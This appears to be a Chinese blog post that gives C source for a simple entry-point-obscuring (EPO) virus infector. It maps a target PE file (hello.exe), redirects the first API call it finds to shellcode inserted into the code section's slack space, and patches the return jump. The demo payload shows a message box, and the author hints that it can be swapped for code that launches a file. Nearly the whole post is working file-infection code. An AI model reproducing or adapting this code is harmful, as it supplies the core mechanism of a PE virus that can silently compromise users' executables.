用C实现简单的EPO

//:::从代码节开始搜索,替换第一个发现的call api的指令
//:::把目标代码插入代码节的尾部
//:::代码仅供演示之用,没有做过多的错误处理
//:::感染当前hello.exe,插入一段弹出对话框代码（当然你可以修改成启动文件的代码，嘿嘿）
//:::coded by robinh00d
//:::robinh00d_at_163.com
//:::编译:cl epo.c
/*
要插入的反汇编代码thunk code:
00401006   .  60                  PUSHAD
00401007   .  9C                  PUSHFD
00401008   .  E8 00000000         CALL msg.0040100D
0040100D   $  5B                  POP EBX
0040100E   .  81EB 0D104000       SUB EBX,msg.0040100D
00401014   .  6A 00               PUSH 0
00401016   .  8D83 30104000       LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C   .  50                  PUSH EAX
0040101D   .  50                  PUSH EAX
0040101E   .  6A 00               PUSH 0
00401020   .  B8 78563412         MOV EAX,12345678            ;这里感染前会被替换成正确的MessageBoxA的地址
00401025   .  FFD0                CALL EAX
00401027   .  9D                  POPFD
00401028   .  61                  POPAD
00401029   .  FF25 3A104000       JMP DWORD PTR DS:[40103A]   ;跳到API
0040102F      90                  NOP
00401030   .  72 6F 62 69 6E 68 3>ASCII "robinh00d",0
*/
#include <windows.h>

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = ".//hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;

unsigned char thunkcode[] = "/x60/x9c/xe8/x00/x00/x00/x00/x5b"
                            "/x81/xeb/x0d/x10/x40/x00/x6a/x00"
                            "/x8d/x83/x30/x10/x40/x00/x50/x50"
                            "/x6a/x00/xb8/x78/x56/x34/x12/xff"
                            "/xd0/x9d/x61/xff/x25/x3a/x10/x40"
                            "/x00/x90/x72/x6f/x62/x69/x6e/x68"
                            "/x30/x30/x64/x00" ;
int main()
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_ALL_ACCESS,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==-1)
    {
        printf("Open host file failed!/n") ;
        return -1 ;
    }
    
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!/n") ;
        return -1 ;
    }
    
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!/n") ;
        return -1 ;
    }
    
    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            //:::是合法的PE文件
            //:::定位到节表头
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            //:::计算第一个节的空隙大小
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
            //:::如果代码缝隙小于thunk code的大小则感染失败
            if (sizeof(thunkcode)>dwGapSize)
            {
                printf("no more space to fill!/n") ;
                goto Close ;
                
            }
            //:::定位到代码末尾
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
            
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系统的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
            
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    //:::call指令操作数地址
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    //:::call下条指令地址
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    //:::jmp指令地址
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    //:::Jmp指令在内存的虚拟地址VA
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    //:::取jmp操作数,返回的时候使用
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        //:::修改call操作数
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        //:::原jmp里的操作数,替换到thunk code的末尾
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        //把thunk code写入目标宿主程序
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
                
            }
            
        }
    }
    else
    {
        printf("Invalid file format!/n") ;
    }
    Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
    
    return 0 ;
}